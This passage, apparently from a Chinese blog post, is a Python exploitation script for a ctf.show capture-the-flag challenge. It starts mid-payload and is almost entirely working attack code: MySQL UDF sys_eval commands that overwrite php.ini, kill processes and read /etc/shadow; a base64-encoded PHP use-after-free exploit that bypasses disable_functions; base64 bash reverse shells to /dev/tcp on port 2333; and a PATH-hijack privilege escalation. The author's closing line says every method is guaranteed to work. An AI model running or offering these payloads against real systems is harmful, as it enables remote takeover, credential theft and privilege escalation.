pZmZlcmVudCBzdGFnZXMgb2YNCjsgb3B0aW1pemF0aW9ucy4NCjtvcGNhY2hlLm9wdF9kZWJ1Z19sZXZlbD0wDQoNCltjdXJsXQ0KOyBBIGRlZmF1bHQgdmFsdWUgZm9yIHRoZSBDVVJMT1BUX0NBSU5GTyBvcHRpb24uIFRoaXMgaXMgcmVxdWlyZWQgdG8gYmUgYW4NCjsgYWJzb2x1dGUgcGF0aC4NCjtjdXJsLmNhaW5mbyA9DQoNCltvcGVuc3NsXQ0KOyBUaGUgbG9jYXRpb24gb2YgYSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgKENBKSBmaWxlIG9uIHRoZSBsb2NhbCBmaWxlc3lzdGVtDQo7IHRvIHVzZSB3aGVuIHZlcmlmeWluZyB0aGUgaWRlbnRpdHkgb2YgU1NML1RMUyBwZWVycy4gTW9zdCB1c2VycyBzaG91bGQNCjsgbm90IHNwZWNpZnkgYSB2YWx1ZSBmb3IgdGhpcyBkaXJlY3RpdmUgYXMgUEhQIHdpbGwgYXR0ZW1wdCB0byB1c2UgdGhlDQo7IE9TLW1hbmFnZWQgY2VydCBzdG9yZXMgaW4gaXRzIGFic2VuY2UuIElmIHNwZWNpZmllZCwgdGhpcyB2YWx1ZSBtYXkgc3RpbGwNCjsgYmUgb3ZlcnJpZGRlbiBvbiBhIHBlci1zdHJlYW0gYmFzaXMgdmlhIHRoZSAmYW1wO3F1b3Q7Y2FmaWxlJmFtcDtxdW90OyBTU0wgc3RyZWFtIGNvbnRleHQNCjsgb3B0aW9uLg0KO29wZW5zc2wuY2FmaWxlPQ0KDQo7IElmIG9wZW5zc2wuY2FmaWxlIGlzIG5vdCBzcGVjaWZpZWQgb3IgaWYgdGhlIENBIGZpbGUgaXMgbm90IGZvdW5kLCB0aGUNCjsgZGlyZWN0b3J5IHBvaW50ZWQgdG8gYnkgb3BlbnNzbC5jYXBhdGggaXMgc2VhcmNoZWQgZm9yIGEgc3VpdGFibGUNCjsgY2VydGlmaWNhdGUuIFRoaXMgdmFsdWUgbXVzdCBiZSBhIGNvcnJlY3RseSBoYXNoZWQgY2VydGlmaWNhdGUgZGlyZWN0b3J5Lg0KOyBNb3N0IHVzZXJzIHNob3VsZCBub3Qgc3BlY2lmeSBhIHZhbHVlIGZvciB0aGlzIGRpcmVjdGl2ZSBhcyBQSFAgd2lsbA0KOyBhdHRlbXB0IHRvIHVzZSB0aGUgT1MtbWFuYWdlZCBjZXJ0IHN0b3JlcyBpbiBpdHMgYWJzZW5jZS4gSWYgc3BlY2lmaWVkLA0KOyB0aGlzIHZhbHVlIG1heSBzdGlsbCBiZSBvdmVycmlkZGVuIG9uIGEgcGVyLXN0cmVhbSBiYXNpcyB2aWEgdGhlICZhbXA7cXVvdDtjYXBhdGgmYW1wO3F1b3Q7DQo7IFNTTCBzdHJlYW0gY29udGV4dCBvcHRpb24uDQo7b3BlbnNzbC5jYXBhdGg9DQoNCjsgTG9jYWwgVmFyaWFibGVzOg0KOyB0YWItd2lkdGg6IDQNCjsgRW5k|base64 -d > /usr/local/etc/php/php.ini')"""
    runMysql_root_first(url, sql_payload)

    sql_payload = """select sys_eval('sudo kill -9 122 123 125 126 127 128; echo c3VkbyBwaHAtZnBtIHxzdWRvIG5naW54IAo=|base64 -d|bash ;ps aux;cat restart;sudo chmod 777 /usr/local/etc/php/php.ini')"""
    runMysql_root_first(url, sql_payload)


def save_txt(content):
    with open('./content.html','w',encoding="utf8") as f:
        f.write(content)

if __name__ == "__main__":
    url = "http://6c3a739e-e0be-4634-bb79-de883b7a543a.challenge.ctf.show/"
    # , proxies={'http':"http://127.0.0.1:8080"}
    net_id = getShell(url)

    pythonPayload = """
import os
print(os.system('cat /var/log/nginx/ctfshow_web_access_log_file_you_never_know.log;ip addr'))
    """
    # runPython(url,payload=pythonPayload)

    # phpPayload = f"echo shell_exec('curl \"http://172.2.{net_id}.5:80/public../tmp/\"');"
    phpPayload = f"echo shell_exec('ps aux;cat /usr/local/etc/php/php.ini|grep disable_fun');"
    runPHPshell_first(url, base64.b64encode(phpPayload.encode()))

    # restartPHP(url)
    
    # sql_payload = """CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';"""

    sql_payload = """select sys_eval('sudo cat /etc/shadow')"""
    
    # runMysql_root_first(url, sql_payload)
    # sudo kill -9 122 123 125 126 127 128 ;
    # /usr/local/etc/php/php.ini
    # cat /usr/local/etc/php/php.ini|grep disable_fun
    # sudo cat /etc/shadow

#     phpPayload = b"""
# require_once("/tmp/newfile.txt");
#     """

#     phpPayload = b"""
# $myfile = fopen("/tmp/newfile.txt", "w") or die("Unable to open file!");
# $txt = base64_decode("PD9waHANCmZ1bmN0aW9uIHB3bigkY21kKSB7DQogICAgZGVmaW5lKCdMT0dHSU5HJywgZmFsc2UpOw0KICAgIGRlZmluZSgnQ0hVTktfREFUQV9TSVpFJywgMHg2MCk7DQogICAgZGVmaW5lKCdDSFVOS19TSVpFJywgWkVORF9ERUJVR19CVUlMRCA/IENIVU5LX0RBVEFfU0laRSArIDB4MjAgOiBDSFVOS19EQVRBX1NJWkUpOw0KICAgIGRlZmluZSgnRklMVEVSX1NJWkUnLCBaRU5EX0RFQlVHX0JVSUxEID8gMHg3MCA6IDB4NTApOw0KICAgIGRlZmluZSgnU1RSSU5HX1NJWkUnLCBDSFVOS19EQVRBX1NJWkUgLSAweDE4IC0gMSk7DQogICAgZGVmaW5lKCdDTUQnLCAkY21kKTsNCiAgICBmb3IoJGkgPSAwOyAkaSA8IDEwOyAkaSsrKSB7DQogICAgICAgICRncm9vbVtdID0gUHduOjphbGxvYyhTVFJJTkdfU0laRSk7DQogICAgfQ0KICAgIHN0cmVhbV9maWx0ZXJfcmVnaXN0ZXIoJ3B3bl9maWx0ZXInLCAnUHduJyk7DQogICAgJGZkID0gZm9wZW4oJ3BocDovL21lbW9yeScsICd3Jyk7DQogICAgc3RyZWFtX2ZpbHRlcl9hcHBlbmQoJGZkLCdwd25fZmlsdGVyJyk7DQogICAgZndyaXRlKCRmZCwgJ3gnKTsNCn0NCg0KY2xhc3MgSGVscGVyIHsgcHVibGljICRhLCAkYiwgJGM7IH0NCmNsYXNzIFB3biBleHRlbmRzIHBocF91c2VyX2ZpbHRlciB7DQogICAgcHJpdmF0ZSAkYWJjLCAkYWJjX2FkZHI7DQogICAgcHJpdmF0ZSAkaGVscGVyLCAkaGVscGVyX2FkZHIsICRoZWxwZXJfb2ZmOw0KICAgIHByaXZhdGUgJHVhZnAsICRoZnA7DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZmlsdGVyKCRpbiwgJG91dCwgJiRjb25zdW1lZCwgJGNsb3NpbmcpIHsNCiAgICAgICAgaWYoJGNsb3NpbmcpIHJldHVybjsNCiAgICAgICAgc3RyZWFtX2J1Y2tldF9tYWtlX3dyaXRlYWJsZSgkaW4pOw0KICAgICAgICAkdGhpcy0+ZmlsdGVybmFtZSA9IFB3bjo6YWxsb2MoU1RSSU5HX1NJWkUpOw0KICAgICAgICBmY2xvc2UoJHRoaXMtPnN0cmVhbSk7DQogICAgICAgICR0aGlzLT5nbygpOw0KICAgICAgICByZXR1cm4gUFNGU19QQVNTX09OOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gZ28oKSB7DQogICAgICAgICR0aGlzLT5hYmMgPSAmJHRoaXMtPmZpbHRlcm5hbWU7DQoNCiAgICAgICAgJHRoaXMtPm1ha2VfdWFmX29iaigpOw0KDQogICAgICAgICR0aGlzLT5oZWxwZXIgPSBuZXcgSGVscGVyOw0KICAgICAgICAkdGhpcy0+aGVscGVyLT5iID0gZnVuY3Rpb24oJHgpIHt9Ow0KDQogICAgICAgICR0aGlzLT5oZWxwZXJfYWRkciA9ICR0aGlzLT5zdHIycHRyKENIVU5LX1NJWkUgKiAyIC0gMHgxOCkgLSBDSFVOS19TSVpFICogMjsNCiAgICAgICAgJHRoaXMtPmxvZygiaGVscGVyIEAgMHgleCIsICR0aGlzLT5oZWxwZXJfYWRkcik7DQoNCiAgICAgICAgJHRoaXMtPmFiY19hZGRyID0gJHRoaXMtPmhlbHBlcl9hZGRyIC0gQ0hVTktfU0laRTsNCiAgICAgICAgJHRoaXMtPmxvZygiYWJjIEAgMHgleCIsICR0aGlzLT5hYmNfYWRkcik7DQoNCiAgICAgICAgJHRoaXMtPmhlbHBlcl9vZmYgPSAkdGhpcy0+aGVscGVyX2FkZHIgLSAkdGhpcy0+YWJjX2FkZHIgLSAweDE4Ow0KDQogICAgICAgICRoZWxwZXJfaGFuZGxlcnMgPSAkdGhpcy0+c3RyMnB0cihDSFVOS19TSVpFKTsNCiAgICAgICAgJHRoaXMtPmxvZygiaGVscGVyIGhhbmRsZXJzIEAgMHgleCIsICRoZWxwZXJfaGFuZGxlcnMpOw0KDQogICAgICAgICR0aGlzLT5wcmVwYXJlX2xlYWtlcigpOw0KDQogICAgICAgICRiaW5hcnlfbGVhayA9ICR0aGlzLT5yZWFkKCRoZWxwZXJfaGFuZGxlcnMgKyA4KTsNCiAgICAgICAgJHRoaXMtPmxvZygiYmluYXJ5IGxlYWsgQCAweCV4IiwgJGJpbmFyeV9sZWFrKTsNCiAgICAgICAgJHRoaXMtPnByZXBhcmVfY2xlYW51cCgkYmluYXJ5X2xlYWspOw0KDQogICAgICAgICRjbG9zdXJlX2FkZHIgPSAkdGhpcy0+c3RyMnB0cigkdGhpcy0+aGVscGVyX29mZiArIDB4MzgpOw0KICAgICAgICAkdGhpcy0+bG9nKCJyZWFsIGNsb3N1cmUgQCAweCV4IiwgJGNsb3N1cmVfYWRkcik7DQoNCiAgICAgICAgJGNsb3N1cmVfY2UgPSAkdGhpcy0+cmVhZCgkY2xvc3VyZV9hZGRyICsgMHgxMCk7DQogICAgICAgICR0aGlzLT5sb2coImNsb3N1cmUgY2xhc3NfZW50cnkgQCAweCV4IiwgJGNsb3N1cmVfY2UpOw0KDQogICAgICAgICRiYXNpY19mdW5jcyA9ICR0aGlzLT5nZXRfYmFzaWNfZnVuY3MoJGNsb3N1cmVfY2UpOw0KICAgICAgICAkdGhpcy0+bG9nKCJiYXNpY19mdW5jdGlvbnMgQCAweCV4IiwgJGJhc2ljX2Z1bmNzKTsNCg0KICAgICAgICAkemlmX3N5c3RlbSA9ICR0aGlzLT5nZXRfc3lzdGVtKCRiYXNpY19mdW5jcyk7DQogICAgICAgICR0aGlzLT5sb2coInppZl9zeXN0ZW0gQCAweCV4IiwgJHppZl9zeXN0ZW0pOw0KDQogICAgICAgICRmYWtlX2Nsb3N1cmVfb2ZmID0gJHRoaXMtPmhlbHBlcl9vZmYgKyBDSFVOS19TSVpFICogMjsNCiAgICAgICAgZm9yKCRpID0gMDsgJGkgPCAweDEzODsgJGkgKz0gOCkgew0KICAgICAgICAgICAgJHRoaXMtPndyaXRlKCRmYWtlX2Nsb3N1cmVfb2ZmICsgJGksICR0aGlzLT5yZWFkKCRjbG9zdXJlX2FkZHIgKyAkaSkpOw0KICAgICAgICB9DQogICAgICAgICR0aGlzLT53cml0ZSgkZmFrZV9jbG9zdXJlX29mZiArIDB4MzgsIDEsIDQpOw0KDQogICAgICAgICRoYW5kbGVyX29mZnNldCA9IFBIUF9NQUpPUl9WRVJTSU9OID09PSA4ID8gMHg3MCA6IDB4Njg7DQogICAgICAgICR0aGlzLT53cml0ZSgkZmFrZV9jbG9zdXJlX29mZiArICRoYW5kbGVyX29mZnNldCwgJHppZl9zeXN0ZW0pOw0KDQogICAgICAgICRmYWtlX2Nsb3N1cmVfYWRkciA9ICR0aGlzLT5oZWxwZXJfYWRkciArICRmYWtlX2Nsb3N1cmVfb2ZmIC0gJHRoaXMtPmhlbHBlcl9vZmY7DQogICAgICAgICR0aGlzLT53cml0ZSgkdGhpcy0+aGVscGVyX29mZiArIDB4MzgsICRmYWtlX2Nsb3N1cmVfYWRkcik7DQogICAgICAgICR0aGlzLT5sb2coImZha2UgY2xvc3VyZSBAIDB4JXgiLCAkZmFrZV9jbG9zdXJlX2FkZHIpOw0KDQogICAgICAgICR0aGlzLT5jbGVhbnVwKCk7DQogICAgICAgICgkdGhpcy0+aGVscGVyLT5iKShDTUQpOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gbWFrZV91YWZfb2JqKCkgew0KICAgICAgICAkdGhpcy0+dWFmcCA9IGZvcGVuKCdwaHA6Ly9tZW1vcnknLCAndycpOw0KICAgICAgICBmd3JpdGUoJHRoaXMtPnVhZnAsIHBhY2soJ1FRUScsIDEsIDAsIDB4REVBREJBQURDMERFKSk7DQogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgU1RSSU5HX1NJWkU7ICRpKyspIHsNCiAgICAgICAgICAgIGZ3cml0ZSgkdGhpcy0+dWFmcCwgIlx4MDAiKTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gcHJlcGFyZV9sZWFrZXIoKSB7DQogICAgICAgICRzdHJfb2ZmID0gJHRoaXMtPmhlbHBlcl9vZmYgKyBDSFVOS19TSVpFICsgODsNCiAgICAgICAgJHRoaXMtPndyaXRlKCRzdHJfb2ZmLCAyKTsNCiAgICAgICAgJHRoaXMtPndyaXRlKCRzdHJfb2ZmICsgMHgxMCwgNik7DQoNCiAgICAgICAgJHZhbF9vZmYgPSAkdGhpcy0+aGVscGVyX29mZiArIDB4NDg7DQogICAgICAgICR0aGlzLT53cml0ZSgkdmFsX29mZiwgJHRoaXMtPmhlbHBlcl9hZGRyICsgQ0hVTktfU0laRSArIDgpOw0KICAgICAgICAkdGhpcy0+d3JpdGUoJHZhbF9vZmYgKyA4LCAweEEpOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gcHJlcGFyZV9jbGVhbnVwKCRiaW5hcnlfbGVhaykgew0KICAgICAgICAkcmV0X2dhZGdldCA9ICRiaW5hcnlfbGVhazsNCiAgICAgICAgZG8gew0KICAgICAgICAgICAgLS0kcmV0X2dhZGdldDsNCiAgICAgICAgfSB3aGlsZSgkdGhpcy0+cmVhZCgkcmV0X2dhZGdldCwgMSkgIT09IDB4QzMpOw0KICAgICAgICAkdGhpcy0+bG9nKCJyZXQgZ2FkZ2V0ID0gMHgleCIsICRyZXRfZ2FkZ2V0KTsNCiAgICAgICAgJHRoaXMtPndyaXRlKDAsICR0aGlzLT5hYmNfYWRkciArIDB4MjAgLSAoUEhQX01BSk9SX1ZFUlNJT04gPT09IDggPyAweDUwIDogMHg2MCkpOw0KICAgICAgICAkdGhpcy0+d3JpdGUoOCwgJHJldF9nYWRnZXQpOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gcmVhZCgkYWRkciwgJG4gPSA4KSB7DQogICAgICAgICR0aGlzLT53cml0ZSgkdGhpcy0+aGVscGVyX29mZiArIENIVU5LX1NJWkUgKyAxNiwgJGFkZHIgLSAweDEwKTsNCiAgICAgICAgJHZhbHVlID0gc3RybGVuKCR0aGlzLT5oZWxwZXItPmMpOw0KICAgICAgICBpZigkbiAhPT0gOCkgeyAkdmFsdWUgJj0gKDEgPDwgKCRuIDw8IDMpKSAtIDE7IH0NCiAgICAgICAgcmV0dXJuICR2YWx1ZTsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIHdyaXRlKCRwLCAkdiwgJG4gPSA4KSB7DQogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgJG47ICRpKyspIHsNCiAgICAgICAgICAgICR0aGlzLT5hYmNbJHAgKyAkaV0gPSBjaHIoJHYgJiAweGZmKTsNCiAgICAgICAgICAgICR2ID4+PSA4Ow0KICAgICAgICB9DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBnZXRfYmFzaWNfZnVuY3MoJGFkZHIpIHsNCiAgICAgICAgd2hpbGUodHJ1ZSkgew0KICAgICAgICAgICAgJGFkZHIgLT0gMHgxMDsNCiAgICAgICAgICAgIGlmKCR0aGlzLT5yZWFkKCRhZGRyLCA0KSA9PT0gMHhBOCAmJg0KICAgICAgICAgICAgICAgIGluX2FycmF5KCR0aGlzLT5yZWFkKCRhZGRyICsgNCwgNCksDQogICAgICAgICAgICAgICAgICAgIFsyMDE1MTAxMiwgMjAxNjAzMDMsIDIwMTcwNzE4LCAyMDE4MDczMSwgMjAxOTA5MDIsIDIwMjAwOTMwXSkpIHsNCiAgICAgICAgICAgICAgICAkbW9kdWxlX25hbWVfYWRkciA9ICR0aGlzLT5yZWFkKCRhZGRyICsgMHgyMCk7DQogICAgICAgICAgICAgICAgJG1vZHVsZV9uYW1lID0gJHRoaXMtPnJlYWQoJG1vZHVsZV9uYW1lX2FkZHIpOw0KICAgICAgICAgICAgICAgIGlmKCRtb2R1bGVfbmFtZSA9PT0gMHg2NDcyNjE2NDZlNjE3NDczKSB7DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5sb2coInN0YW5kYXJkIG1vZHVsZSBAIDB4JXgiLCAkYWRkcik7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVhZCgkYWRkciArIDB4MjgpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gZ2V0X3N5c3RlbSgkYmFzaWNfZnVuY3MpIHsNCiAgICAgICAgJGFkZHIgPSAkYmFzaWNfZnVuY3M7DQogICAgICAgIGRvIHsNCiAgICAgICAgICAgICRmX2VudHJ5ID0gJHRoaXMtPnJlYWQoJGFkZHIpOw0KICAgICAgICAgICAgJGZfbmFtZSA9ICR0aGlzLT5yZWFkKCRmX2VudHJ5LCA2KTsNCiAgICAgICAgICAgIGlmKCRmX25hbWUgPT09IDB4NmQ2NTc0NzM3OTczKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZWFkKCRhZGRyICsgOCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkYWRkciArPSAweDIwOw0KICAgICAgICB9IHdoaWxlKCRmX2VudHJ5ICE9PSAwKTsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIGNsZWFudXAoKSB7DQogICAgICAgICR0aGlzLT5oZnAgPSBmb3BlbigncGhwOi8vbWVtb3J5JywgJ3cnKTsNCiAgICAgICAgZndyaXRlKCR0aGlzLT5oZnAsIHBhY2soJ1FRJywgMCwgJHRoaXMtPmFiY19hZGRyKSk7DQogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgRklMVEVSX1NJWkUgLSAweDEwOyAkaSsrKSB7DQogICAgICAgICAgICBmd3JpdGUoJHRoaXMtPmhmcCwgIlx4MDAiKTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gc3RyMnB0cigkcCA9IDAsICRuID0gOCkgew0KICAgICAgICAkYWRkcmVzcyA9IDA7DQogICAgICAgIGZvcigkaiA9ICRuIC0gMTsgJGogPj0gMDsgJGotLSkgew0KICAgICAgICAgICAgJGFkZHJlc3MgPDw9IDg7DQogICAgICAgICAgICAkYWRkcmVzcyB8PSBvcmQoJHRoaXMtPmFiY1skcCArICRqXSk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRhZGRyZXNzOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gcHRyMnN0cigkcHRyLCAkbiA9IDgpIHsNCiAgICAgICAgJG91dCA9ICcnOw0KICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkbjsgJGkrKykgew0KICAgICAgICAgICAgJG91dCAuPSBjaHIoJHB0ciAmIDB4ZmYpOw0KICAgICAgICAgICAgJHB0ciA+Pj0gODsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJG91dDsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIGxvZygkZm9ybWF0LCAkdmFsID0gJycpIHsNCiAgICAgICAgaWYoTE9HR0lORykgew0KICAgICAgICAgICAgcHJpbnRmKCJ7JGZvcm1hdH1cbiIsICR2YWwpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgc3RhdGljIGZ1bmN0aW9uIGFsbG9jKCRzaXplKSB7DQogICAgICAgIHJldHVybiBzdHJfc2h1ZmZsZShzdHJfcmVwZWF0KCdBJywgJHNpemUpKTsNCiAgICB9DQp9");
# fwrite($myfile, $txt);
# fclose($myfile);

# $myfileContent = file_get_contents("/tmp/newfile.txt");
# $txt = base64_decode("cHduKCd1bmFtZSAtYScpOw==");
# $myfileContent = $myfileContent . $txt;
# file_put_contents("/tmp/newfile.txt", $myfileContent);

# require_once("/tmp/newfile.txt");
#     """

    nodejs_shell = b"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMi4xMDAuNC8yMzMzIDA+JjE=|base64 -d|bash;cat ./* >>/tmp/11.txt;"
    # nodejsShell(url,base64.b64encode(nodejs_shell),net_id)


    # runPHP_eval_second(url, base64.b64encode(phpPayload),net_id)
    
    # 反弹shell
    pwn_shell = """pwn('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMi4xNTAuNC8yMzMzIDA+JjE=|base64 -d|bash ');"""
    # 一键提权
    pwn_shell = """pwn('echo "nl /root/you_win||echo" > /tmp/cat ; chmod 777 /tmp/cat ; export PATH=/tmp:$PATH ; /getflag ;');"""
    # 第二台机 php rce
    # pwn_shell = """pwn('echo $PATH');"""
    runPHP_eval_second_bypass(url, base64.b64encode(pwn_shell.encode()),net_id)

    # phpPayload = f"echo shell_exec('curl \"http://172.2.{net_id}.5:80/public../tmp/newfile.txt\"');"
    # runPHPshell_first(url, base64.b64encode(phpPayload.encode()))

#  find /tmp/ -type f -name "*flag"|xargs sed -i "s#FLAG665# root/*FLAG665#g"


# nc -lvnp 2333
# python3 -c "import pty; pty.spawn('/bin/bash')"
# cd /tmp && echo "bash chmod 777 -R /root||echo" > cat && chmod 777 cat && export PATH=/tmp:$PATH && /getflag

都是用来拿各种shell的,有点乱,但保证都能用哈

你可能感兴趣的:(CTFshow,信息安全)